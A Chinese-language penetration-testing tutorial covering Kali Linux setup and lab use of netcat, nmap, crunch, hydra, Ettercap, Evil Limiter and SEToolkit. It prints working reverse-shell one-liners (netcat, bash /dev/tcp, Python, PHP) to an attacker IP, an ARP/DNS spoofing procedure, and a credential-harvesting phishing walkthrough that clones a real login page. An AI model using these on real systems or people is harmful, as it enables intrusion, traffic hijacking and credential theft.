渗透测试系统
1. 渗透测试专用系统简介
关于渗透测试操作系统有 Kali Linux、Parrot Security OS、BlackArch Linux、Pentoo Linux、BackBox Linux、Kali NetHunter(移动端渗透专属)、DEFT Linux(取证 + 渗透)等
1.1 常用渗透测试系统
-
Kali Linux
-
定位:全球最主流的通用渗透测试系统,渗透测试行业标配,由 Offensive Security 团队开发维护
-
核心特点:基于 Debian,支持虚拟机、物理机、WSL2、移动端等全平台部署;预装 600+ 渗透工具,覆盖全渗透测试场景;社区生态完善、教程文档丰富,新手友好;定期更新,及时适配新漏洞与新工具,支持中文界面
-
适用场景:WEB 渗透、内网渗透、无线安全、漏洞挖掘、应急响应等全场景渗透测试,是新手入门、企业级渗透测试的首选
-
-
BlackArch Linux
-
定位:进阶高定制化渗透测试系统,号称工具最全的渗透发行版,基于 Arch Linux 开发
-
核心特点:基于 Arch Linux 滚动更新模式,工具版本始终保持最新;预装 2000+ 渗透工具,覆盖主流及小众冷门工具;高度可定制,可与 Arch Linux 无缝融合按需安装工具;对 Linux 系统基础要求较高,新手上手难度大
-
适用场景:深度漏洞挖掘、定制化渗透环境搭建、小众场景渗透测试,适合资深渗透工程师
-
-
Pentoo Linux
-
定位:轻量型滚动更新渗透测试系统,基于 Gentoo Linux 开发,主打无线渗透与漏洞挖掘
-
核心特点:系统轻量化,占用资源低,可流畅运行在低配置设备;滚动更新,快速适配新工具、新漏洞;强化无线渗透、逆向分析、漏洞利用专属工具集,支持 Live 模式 U 盘启动
-
适用场景:无线安全渗透测试、深度漏洞挖掘、便携化轻量渗透工作,适合低配置设备/便携终端现场作业
-
-
BackBox Linux
-
定位:轻量简洁型通用渗透测试系统,主打易用性与快速部署,基于 Ubuntu LTS 开发
-
核心特点:超轻量化优化,启动速度快、操作门槛低,新手友好;预装信息收集、漏洞扫描、提权等核心渗透工具,满足常规测试需求;系统精简,仅保留安全测试必要服务,运行更稳定
-
适用场景:快速应急渗透测试、入门级渗透技术学习、轻量型日常安全检测,适合新手入门或快速简单场景测试
-
-
Kali NetHunter
-
定位:Kali 官方专属移动端渗透测试系统,为安卓设备打造的便携化渗透平台
-
核心特点:基于 Kali Linux 开发,适配多款安卓设备及树莓派;集成 Kali 核心渗透工具,支持无线渗透、端口扫描、内网探测等便携操作;可搭配外接网卡/设备拓展功能,实现移动现场渗透
-
适用场景:移动端现场渗透测试、便携化内网探测、户外无线安全检测,适合渗透工程师现场作业
-
-
DEFT Linux
-
定位:开源数字取证与渗透测试融合系统,主打专业取证分析,兼顾轻量渗透测试,基于 Ubuntu 开发
-
核心特点:强化数字取证、数据恢复专业工具集,非侵入式操作保护原始证据;兼顾基础渗透测试工具,实现取证+渗透一体化;界面友好,支持 Live 模式运行,适配主流文件系统
-
适用场景:数字取证、误删数据恢复、轻量型渗透测试、企业安全事件应急响应,适合取证与渗透融合的场景
-
-
CAINE
-
定位:专业开源数字取证专用系统,即计算机辅助调查环境,基于 Ubuntu LTS 开发,专为取证分析设计
-
核心特点:围绕取证全流程打造,非侵入式只读操作确保电子证据合法性;预装全套专业取证工具,支持 Windows/Linux/macOS 等主流文件系统;内置报告生成工具,简化取证文档工作,界面直观易操作
-
适用场景:专业数字取证、计算机犯罪调查、企业安全事件司法鉴定、电子证据固定与分析,纯取证场景首选
-
2. Kali Linux 基础配置
2.1 更换 apt 源
# 进入 apt 源文件
vi /etc/apt/sources.list
# 注释掉原本的源,添加中科大的源:
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
# 更新 apt 源
apt update
2.2 kali配置代理
vi /etc/proxychains4.conf
#注释末尾的socks4,末尾添加
socks5 同网段中物理机的ip 代理服务器的端口
#保存退出后打开火狐
proxychains4 firefox
拉取github上的代码示例:
proxychains4 git clone https://github.com/bitbrute/evillimiter.git
#也可以使用火狐插件下载proxy进行代理配置
3.kali常用工具
3.1 Netcat 简介与使用
NC(netcat)被称作网络工具中的瑞士军刀,体积小巧,但功能强大。NC 的主要功能是在两台设备之间相互交互,支持侦听模式
3.1.1 NC 参数使用
| 参数 | 说明 | 参数 | 说明 |
|---|---|---|---|
| -h | 帮助信息 | -r | 随机本地及远程端口 |
| -i | secs 延时的间隔 | -s | addr 本地源地址 |
| -l | 监听模式,用于入站连接 | -t | 使用 TELENT 交互方式 |
| -L | 连接关闭后,仍然继续监听 | -u | UDP 模式 |
| -n | 指定数字的 IP 地址,不能域名服务器 | -v,-vv | 详细输出 |
| -o | file 记录 16 进制的传输 | -w | secs timeout 的时间 |
| -p | port 端口号 | -z | 将输入输出关掉,用于扫描时 |
3.1.2 NC 获取 Shell
Shell 获取分两种:
-
正向 Shell:客户端连接服务器,获取服务端的 Shell
-
反向 Shell:客户端连接服务器,服务器端获取客户端的 Shell
3.1.3 Netcat(nc)基础通信实践案例
本文整合 Netcat 基础通信、正向 Shell、反向 Shell 及无 -e 参数时的反向 Shell 替代方案,以 Kali Linux(攻击机)+ CentOS 7(目标机)为环境,提供完整可落地的实践步骤,覆盖渗透测试核心场景。
一、环境准备
1. 系统与工具
-
攻击机:Kali Linux(默认预装 Netcat,无需额外安装)
-
目标机 :CentOS 7(需手动安装 Netcat,支持
-e参数) -
核心工具:Netcat(nc),轻量级网络工具,支持端口监听、数据传输、Shell 反弹等功能
2. CentOS 7 安装 Netcat
# 以 root 权限执行,安装支持 -e 参数的 nmap-ncat
yum install -y nc
二、基础通信实践(前置知识)
先通过简单的双向文本通信,熟悉 Netcat 核心参数与连接逻辑
1. 核心参数
-
-l:listen,开启监听模式(服务端) -
-v:verbose,输出详细连接信息 -
-p:port,指定监听/连接端口
2. 操作步骤
(1)Kali(服务端):开启端口监听
# 监听 6666 端口,等待 CentOS 连接
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...
(2)CentOS 7(客户端):主动连接
替换为 Kali 实际内网 IP,执行连接命令:
# 连接 Kali 的 6666 端口
[root@localhost ~]# nc 192.168.220.133 6666
3. 通信效果
连接成功后,两台主机可双向发送文本,输入内容按回车即可发送:
# Kali 端输出
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...
192.168.220.10: inverse host lookup failed: Unknown host # 正常解析报错,不影响通信
connect to [192.168.220.133] from (UNKNOWN) [192.168.220.10] 51930
你好 # 接收 CentOS 发送的消息
# CentOS 端操作
[root@localhost ~]# nc 192.168.220.133 6666
你好 # 发送消息到 Kali
4. 基础通信补充说明
-
端口选择:建议使用 1024~65535 未被占用端口,避免系统知名端口
-
退出方式:双方按
Ctrl + C终止连接 -
IP 替换:实践时需替换示例 IP 为两台主机实际内网 IP
三、核心概念:正向 Shell 与 反向 Shell
Netcat 获取 Shell 的核心是通过网络连接重定向标准输入/输出,两种模式的核心区别如下:
| 模式 | 连接发起方 | Shell 归属方 | 核心逻辑 | 适用场景 |
|---|---|---|---|---|
| 正向 Shell | 攻击机 | 目标机 | 目标机监听端口,攻击机连接获取目标机 Shell | 目标机无防火墙、可直接访问 |
| 反向 Shell | 目标机 | 目标机 | 攻击机监听端口,目标机主动反弹自身 Shell 给攻击机 | 目标机在内网、有防火墙(仅允许出站) |
四、正向 Shell 实践
场景说明
-
目标机(CentOS 7,IP:192.168.220.10):主动监听端口,绑定自身 Bash Shell
-
攻击机(Kali,IP:192.168.220.133):主动连接目标端口,获取目标机 Shell
操作步骤
1. 目标机(CentOS 7):监听端口并绑定 Shell
# 监听 6667 端口,客户端连接后自动执行 /bin/bash
[root@localhost ~]# nc -lvp 6667 -e /bin/bash
- 关键参数:
-e /bin/bash,指定连接成功后为客户端分配目标机的交互式 Bash Shell
2. 攻击机(Kali):连接目标端口获取 Shell
# 连接 CentOS 7 的 6667 端口
┌──(root㉿kali)-[~]
└─# nc 192.168.220.10 6667
执行效果
连接成功后,Kali 终端直接获得 CentOS 7 的 Shell,可执行任意 Linux 命令:
# Kali 终端(已获取 CentOS 7 Shell)
ls
anaconda-ks.cfg
CVE-2021-4034-main.zip
yumcentos7.sh
whoami
root
五、反向 Shell 实践(nc -e 版)
场景说明
-
攻击机(Kali,IP:192.168.220.133):主动监听端口,等待目标机反弹连接
-
目标机(CentOS 7,IP:192.168.220.10):主动连接攻击机端口,反弹自身 Shell
操作步骤
1. 攻击机(Kali):开启端口监听
# 监听 6666 端口,等待目标机反弹
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...
2. 目标机(CentOS 7):主动连接并反弹 Shell
# 连接 Kali 的 6666 端口,反弹自身 /bin/bash
[root@localhost ~]# nc 192.168.220.133 6666 -e /bin/bash
执行效果
目标机连接成功后,Kali 终端收到连接通知,直接获得 CentOS 7 的 Shell:
# Kali 终端输出
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...
192.168.220.10: inverse host lookup failed: Unknown host
connect to [192.168.220.133] from (UNKNOWN) [192.168.220.10] 51932
# 验证 Shell 权限
whoami
root
六、无 -e 参数时的反向 Shell 替代方案
部分精简版 Netcat(如 OpenBSD 版)不支持 -e 参数,可通过 Bash 原生、Python、PHP 实现反向 Shell,攻击机仍需先执行 nc -lvp 端口 监听,以下是常用方案:
方案1:Bash 原生反向 Shell(无依赖,最常用)
适用环境
所有 Linux 系统(默认预装 Bash),无需额外工具,兼容性极强。
目标机(CentOS 7)执行命令
bash -i >& /dev/tcp/192.168.220.133/6666 0>&1
命令解释
-
bash -i:启动交互式 Bash Shell -
>& /dev/tcp/攻击机IP/端口:将标准输出、标准错误重定向到攻击机 TCP 连接 -
0>&1:将标准输入重定向到 TCP 连接,实现双向通信
方案2:Python 反向 Shell(依赖 Python 环境)
适用环境
目标机安装 Python(CentOS 7 默认预装 Python 2,新系统预装 Python 3)
版本1:Python 2 命令(CentOS 7 原生支持)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.133",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
版本2:Python 3 命令(Kali 等新系统适用)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.133",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
命令解释
建立 TCP 连接到攻击机,将标准输入/输出/错误重定向到网络套接字,启动交互式 Bash Shell。
方案3:PHP 反向 Shell(依赖 PHP 环境)
适用环境
目标机安装 PHP(如 Web 服务器场景,CentOS 7 可通过 yum install -y php 安装)
第一步:CentOS 7 安装 PHP(若未安装)
yum install -y php
第二步:目标机执行 PHP 反向 Shell 命令
php -r '$sock=fsockopen("192.168.220.133",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
命令解释
通过 fsockopen 建立 TCP 连接,将 Bash 的输入/输出/错误重定向到网络连接,实现 Shell 反弹。
七、关键补充说明
1. -e 参数兼容性
-
CentOS 7 默认安装的
nmap-ncat支持-e参数,精简版 Netcat 无此参数,需使用上述替代方案 -
替代方案优先级:
nc -e> Bash 原生 > Python > PHP
2. 防火墙与端口配置
-
正向 Shell:需在目标机防火墙放行监听端口(如
firewall-cmd --add-port=6667/tcp --permanent) -
反向 Shell:攻击机无需放行端口(目标机主动出站),仅需确保攻击机端口未被占用
3. 权限与退出
-
Shell 权限:目标机执行反弹/监听命令的用户权限,决定获取 Shell 的权限(root 执行则获取 root Shell)
-
退出方式:按
Ctrl + C终止连接,或在 Shell 中执行exit退出
4. 常见报错说明
- Kali 端
inverse host lookup failed:客户端 IP 反向解析失败,属于正常现象,不影响通信与 Shell 获取
八、总结
-
基础通信:
nc -lvp 端口(监听)+nc 攻击机IP 端口(连接),实现双向文本传输 -
正向 Shell:目标机
nc -lvp 端口 -e /bin/bash,攻击机连接后获取目标机 Shell,适用于目标机可直接访问场景 -
反向 Shell:攻击机监听,目标机通过
nc -e或 Bash/Python/PHP 反弹 Shell,是渗透测试首选方案,可穿透内网防火墙 -
无
-e时:优先使用 Bash 原生命令,无需依赖任何额外工具,兼容性最强
3.2 Nmap 简介与使用
Nmap 是 Network Mapper 的缩写,是一款 开源免费的网络扫描与安全审计工具 ,也是渗透测试、网络运维的必备工具,核心用于对目标网络/主机进行 探测、扫描、信息收集,支持跨平台(Linux、Windows、macOS 等),Kali Linux 系统默认预装,是网络安全领域的经典工具
3.2.1 功能包括
-
主机发现
-
端口扫描
-
版本侦测
-
操作系统侦测
3.2.2 常用参数
T4 指定扫描过程的级别,级别越高扫描速度越快,但也越容易被防火墙或者 IDS 屏蔽,一般推荐使用 T4 级别
| 参数 | 说明 |
|---|---|
| -sn | 只进行主机发现,不进行端口扫描 |
| -O | 进行系统版本扫描 |
| -sV | 进行服务版本扫描 |
| -p | 扫描指定端口 |
| -sS | 发送 SYN 包扫描 |
| -sT | 发送 TCP 包扫描 |
| -sA | 发送 ACK 包扫描 |
| -sU | UDP 扫描 |
| -PO | 不进行 ping 扫描 |
| -script | 指定脚本扫描 存放 /usr/share/nmap/scripts |
| T4 | 扫描级别 |
3.2.3 使用示例
# 检测对方的系统版本,服务版本 T4 的扫描级别
nmap 192.168.1.1 -O -sV -T4
# 检测对方主机是否有常见的漏洞
nmap --script=vuln 192.168.1.1
# 利用已知的漏洞进行扫描
nmap --script=exploit 192.168.1.1
# 拒绝服务工具
nmap --script=dos 192.168.1.1
3.2.4 常见的 6 种 Nmap 端口状态及其含义
-
open:开放的,表示应用程序正在监听该端口的连接,外部可以访问
-
filtered:被过滤的,表示端口被防火墙或其他网络设备阻止,不能访问
-
closed:关闭的,表示目标主机未开启该端口
-
unfiltered:未被过滤的,表示 nmap 无法确定端口所处状态,需进一步探测
-
open/filtered:开放的或被过滤的,nmap 不能识别
-
closed/filtered:关闭的或被过滤的,Nmap 不能识别
3.3 Crunch 简介与使用
Crunch 是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活制定自己的字典文件,使用 Crunch 工具生成的密码可以输出到屏幕,保存到文件、或另一个程序
字典:一个存放了很多特定字符(账号密码)的 .txt 文件
3.3.1 Crunch 基础用法
crunch <最小长度> <最大长度> [字符集] [参数] -o <输出字典文件.txt>
示例:
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 -o basic_passwords.txt
3.3.2 补充
# 可以将网站的字符爬下来
cewl -h # 查看用法
# 例:
cewl http://www.baidu.com/ -w /home/if/桌面/dict.txt
也可以使用 Windows 的超级字典生成器,可视化的一款软件
3.4 Xhydra 简介与使用
Xhydra 称为九头蛇,是一款登录爆破神器,Xhydra 几乎可以爆破各种协议的登录,比如 Windows 的远程桌面,SSH,FTP,路由交换设备等等,著名的黑客组织 THC 的一款开源的暴力密码破解工具,可以在线破解多种密码
3.4.1 Xhydra 工具使用
命令行操作
hydra -l [用户名字典] -p [密码字典路径] 协议://ip
3.5 Ettercap 简介与使用
Ettercap 最初是交换局域网的嗅探器,但在开发过程中,它获得了越来越多的功能,从而使其转变成为强大而灵活的中间人工具,它支持许多协议的主动和被动解剖,并包括许多用于网络和主机分析的功能
3.5.1 Ettercap 常用指令
用户界面类型
| 参数 | 说明 |
|---|---|
| -T | -text,使用之显示字符的界面 |
| -q | -qiut 安静模式,不显示抓到的数据报内容 |
| -G | -gtk 使用 GTK+GUI,开启图形化模式 |
日志选项
| 参数 | 说明 |
|---|---|
| -w | 将嗅探的数据写入 pcap 文件 |
| -L | 此处记录所有流量 |
3.5.2 DNS 劫持实验
一、实验概述
实验目的 :在局域网(LAN)环境中,使用 Kali Linux 上的 Ettercap 工具实施 ARP 欺骗与 DNS 欺骗攻击,将特定域名(如 www.baidu.com)的解析重定向至攻击者控制的 Web 服务器
攻击原理:
-
ARP 欺骗:通过伪造 ARP 应答,欺骗网关和目标主机,使双方误认为攻击机的 MAC 地址是对方的,从而将流量劫持到攻击机(中间人位置)
-
DNS 欺骗:在成为中间人后,劫持目标主机的 DNS 查询请求,并回复伪造的 DNS 应答,将目标域名指向攻击者指定的 IP 地址(如 Kali 本机的 Apache 服务器)
二、环境准备
1. 系统与工具
| 角色 | 系统 | 所需工具 | 备注 |
|---|---|---|---|
| 攻击机 | Kali Linux | Ettercap, Apache2 | Ettercap 用于 ARP/DNS 欺骗,Apache2 用于模拟伪造网站 |
| 目标机 | Windows 7 | 任意浏览器 | 用于验证攻击效果 |
| 网络 | 同一局域网 | - | 确保攻击机与目标机、网关互通 |
2. 攻击机(Kali)前置配置
-
启动 Apache 服务:用于托管一个伪造的网站,当目标被劫持后将访问此页面
# 启动 Apache Web 服务器 service apache2 start # 可选:检查服务状态 service apache2 status
2. **配置 Ettercap DNS 欺骗规则**:
编辑 Ettercap 的 DNS 配置文件,定义劫持规则(所有域名解析至攻击机 IP):
```bash
# 编辑 DNS 欺骗配置文件
nano /etc/ettercap/etter.dns
在文件末尾添加以下核心规则(将 192.168.220.130 替换为你的 Kali 局域网 IP):
# 全局 A 记录劫持:所有域名解析至攻击机 IP
* A 192.168.220.130
保存并退出(Ctrl+X,然后按 Y,最后按 Enter)。
- 验证网络连通性 :确保目标机(Win7)可以正常访问互联网(如
www.baidu.com),这是后续验证攻击是否成功的对比基准
三、实验步骤
1. 启动 Ettercap 图形化界面
在 Kali 终端中执行:
ettercap -G
2. 配置网络接口
-
启动后,在主界面选择
Sniff->Unified sniffing... -
在弹出的网络接口列表中,选择与目标主机在同一网段的接口 (例如
eth0或wlan0) -
点击
OK。

3. 扫描网络主机
-
点击工具栏上的 放大镜图标 (或
Hosts->Scan for hosts),开始扫描当前网段内存活的主机 -
扫描完成后,点击 列表图标 (或
Hosts->Hosts list)查看扫描结果。列表将显示 IP 地址和对应的 MAC 地址

4. 设置攻击目标
在主机列表中:
-
添加Target 1(网关) :选中网关的IP地址(通常是
.1或.254结尾),点击**Add to Target 1** -
添加Target 2(受害主机) :选中目标机(Win7)的IP地址,点击**
Add to Target 2**

注意:正确的目标是ARP欺骗成功的关键。Target 1通常是网关,Target 2是您要攻击的单个主机
5. 发起ARP欺骗攻击(中间人)
-
点击菜单栏**
Mitm->ARP poisoning...**。 -
在弹出的配置窗口中,勾选
Sniff remote connections。 -
点击**
OK**。此时,Ettercap开始向网关和目标主机发送伪造的ARP应答包


6. 启动流量嗅探与攻击
点击工具栏上的**"Start/Stop Sniffing"按钮**(蓝色三角/正方形图标),Ettercap将开始捕获并转发经过它的流量

7. 激活DNS欺骗插件
这是将特定域名请求重定向到我们服务器的关键步骤
-
点击菜单栏**
Plugins->Manage the plugins** -
在插件列表中,双击
dns_spoof插件以激活它。当插件前出现"*"号时,表示已激活



注意 :
dns_spoof插件会读取我们之前配置的/etc/ettercap/etter.dns文件,根据其中的规则进行DNS欺骗。
8. 验证攻击效果
在目标机(Windows 7)上:
-
打开浏览器
-
访问百度(
www.baidu.com) -
预期结果 :如果攻击成功,浏览器将显示Kali上Apache的默认页面,而非真正的百度首页

四、注意事项与故障排查
-
首次劫持可能失败:DNS缓存(操作系统或浏览器)可能导致旧的正确解析记录被暂存。若攻击后仍访问到真实网站,请尝试:
-
在目标机上清除浏览器缓存和DNS缓存(命令:
ipconfig /flushdns) -
刷新浏览器页面多次
-
在Ettercap中确认
dns_spoof插件已激活,且目标设置正确
-
-
DNS规则配置注意事项:
-
* A 192.168.220.130规则中的*是通配符,表示匹配所有域名 -
如果要针对特定域名,可以使用如
www.baidu.com A 192.168.220.130的形式 -
确保IP地址是你的Kali攻击机的正确局域网IP
-
-
成功标志:目标机访问任何HTTP网站时都显示Kali Apache默认页面
3.6 kali其他工具
Evil Limiter 邪恶限制器
Evil Limiter 是一款基于 Python3 开发的开源局域网网络管控工具 ,主打通过 ARP 欺骗实现对目标设备的精准带宽限速、强制断网,轻量简洁、命令行交互、无需目标 / 网关的管理员权限,是局域网渗透测试中网络压制、流量管控的常用工具,区别于 Ettercap 的全能型,该工具专注流量限制 / 断网,操作门槛更低。
项目地址:https://github.com/bitbrute/evillimiter
下载
proxychains4 git clone https://github.com/bitbrute/evillimiter.git
切换目录
cd evillimiter
编译
python3 python3 setup.py install
使用
#进入工具
evillimiter
#扫描主机
(Main) >>> scan
100% |██████████████████████████████| 256/256
OK 5 hosts discovered.
#查看主机
(Main) >>> hosts
┌Hosts─────────────────┬───────────────────┬──────────┬────────┐
│ ID │ IP address │ MAC address │ Hostname │ Status │
├────┼─────────────────┼───────────────────┼──────────┼────────┤
│ 0 │ 192.168.220.1 │ 00:50:56:c0:00:08 │ │ Free │
│ 1 │ 192.168.220.2 │ 00:50:56:e7:90:ed │ │ Free │
│ 2 │ 192.168.220.128 │ 00:0c:29:25:cd:83 │ │ Free │
│ 3 │ 192.168.220.132 │ 00:0c:29:db:8f:49 │ │ Free │
│ 4 │ 192.168.220.254 │ 00:50:56:e5:58:68 │ │ Free │
└────┴─────────────────┴───────────────────┴──────────┴────────┘
#给id2的主机进行1kbit限速,导致该主机上不了网
(Main) >>> limit 2 1kbit
OK 192.168.220.128 upload / download limited to 1kbit.
#退出
(Main) >>> exit
setoolkit开源的社会工程学渗透测试框架
SEToolkit 是一款开源的社会工程学渗透测试框架,由 TrustedSec 公司开发,David Kennedy(rel1k)设计,用 Python 编写,专注于模拟针对人类弱点的攻击,帮助安全专业人员评估组织的社会工程学防御能力。
典型钓鱼网站攻击示例
#启动工具
setoolkit
# 同意使用条款(输入 Y)
#选择攻击类型(主菜单)
1) Social-Engineering Attacks(社会工程学攻击)
2) Fast-Track Penetration Testing(快速追踪渗透测试)
3) Third Party Modules(第三方模块)
4) Update the Social-Engineer Toolkit(更新工具)
5) Update SET configuration(更新配置)
6) Help, Credits, and About(帮助信息)
99) Exit the Social-Engineer Toolkit(退出)
#选1
set:>1
Social-Engineering Attacks(社会工程学攻击) 子菜单
1) Spear-Phishing Attack Vectors(定向钓鱼攻击向量,精准针对特定目标发起钓鱼)
2) Website Attack Vectors(网站攻击向量,伪造恶意站点诱导访问、窃取信息)
3) Infectious Media Generator(生成带恶意程序的U盘/存储介质,插入即触发攻击)
4) Create a Payload and Listener(生成攻击载荷与监听端,用于远程控制目标)
5) Mass Mailer Attack(批量邮件钓鱼,大规模群发恶意邮件)
6) Arduino-Based Attack Vector(基于Arduino硬件的模拟输入类攻击)
7) Wireless Access Point Attack Vector(伪造无线AP,诱导接入后窃取数据)
8) QRCode Generator Attack Vector(生成恶意二维码,扫码触发恶意行为)
9) Powershell Attack Vectors(PowerShell 相关攻击向量,无文件执行恶意代码)
10) Third Party Modules(第三方扩展模块,增强工具攻击能力)
99) Return back to the main menu.(返回主菜单)
set:>2
Website Attack Vectors 子菜单
1) Java Applet Attack Method(Java小程序攻击,利用Java组件漏洞执行恶意代码)
2) Metasploit Browser Exploit Method(Metasploit浏览器漏洞利用,攻击浏览器漏洞)
3) Credential Harvester Attack Method(凭据收割攻击,伪造页面窃取账号密码)
4) Tabnabbing Attack Method(标签页劫持攻击,篡改页面诱导输入敏感信息)
5) Web Jacking Attack Method(网页劫持攻击,替换页面内容诱导操作)
6) Multi-Attack Web Method(多方式网页组合攻击,同时启用多种网页攻击手段)
7) HTA Attack Method(HTA应用程序攻击,通过恶意HTA文件执行系统指令)
99) Return to Main Menu(返回主菜单)
set:webattack>3
确保关闭apache2
┌──(root㉿kali)-[~]
└─# service apache2 stop
钓鱼攻击流程
例1:
1) Web Templates(使用预设网页模板搭建恶意站点)
2) Site Cloner(克隆目标网站,伪造高相似度钓鱼页面)
3) Custom Import(自定义导入外部网页文件制作恶意站点)
99) Return to Webattack Menu(返回网页攻击菜单)
set:webattack>1
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.220.130]:192.168.220.130 #填入攻击者IP
1. Java Required(要求目标启用Java环境,用于Java相关攻击)
2. Google(伪造Google登录页面,用于钓鱼窃取账号凭据)
3. Twitter(伪造Twitter登录页面,用于钓鱼窃取账号信息)
set:webattack> Select a template:2 #伪造谷歌登录页面
……
……
……
#假若有人访问登录,即可得到账号密码
POSSIBLE USERNAME FIELD FOUND: Email=admin
POSSIBLE PASSWORD FIELD FOUND: Passwd=123456
例2
1) Web Templates(使用预设网页模板搭建恶意站点)
2) Site Cloner(克隆目标网站,伪造高相似度钓鱼页面)
3) Custom Import(自定义导入外部网页文件制作恶意站点)
99) Return to Webattack Menu(返回网页攻击菜单)
set:webattack>1 #克隆网站钓鱼
set:webattack> IP address for the POST back in Harvester/Tabnabbing
#攻击者ip
[192.168.220.130]:192.168.220.130
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
#设置克隆的网站
set:webattack> Enter the url to clone: http://antai.pukesoft.cn/index.php?m=&c=Index&a=login
DNS劫持和钓鱼网站结合
利用dns劫持瞄准一个登录页面,将该需要登录的页面指向钓鱼网站,即可得到该用户的账号密码信息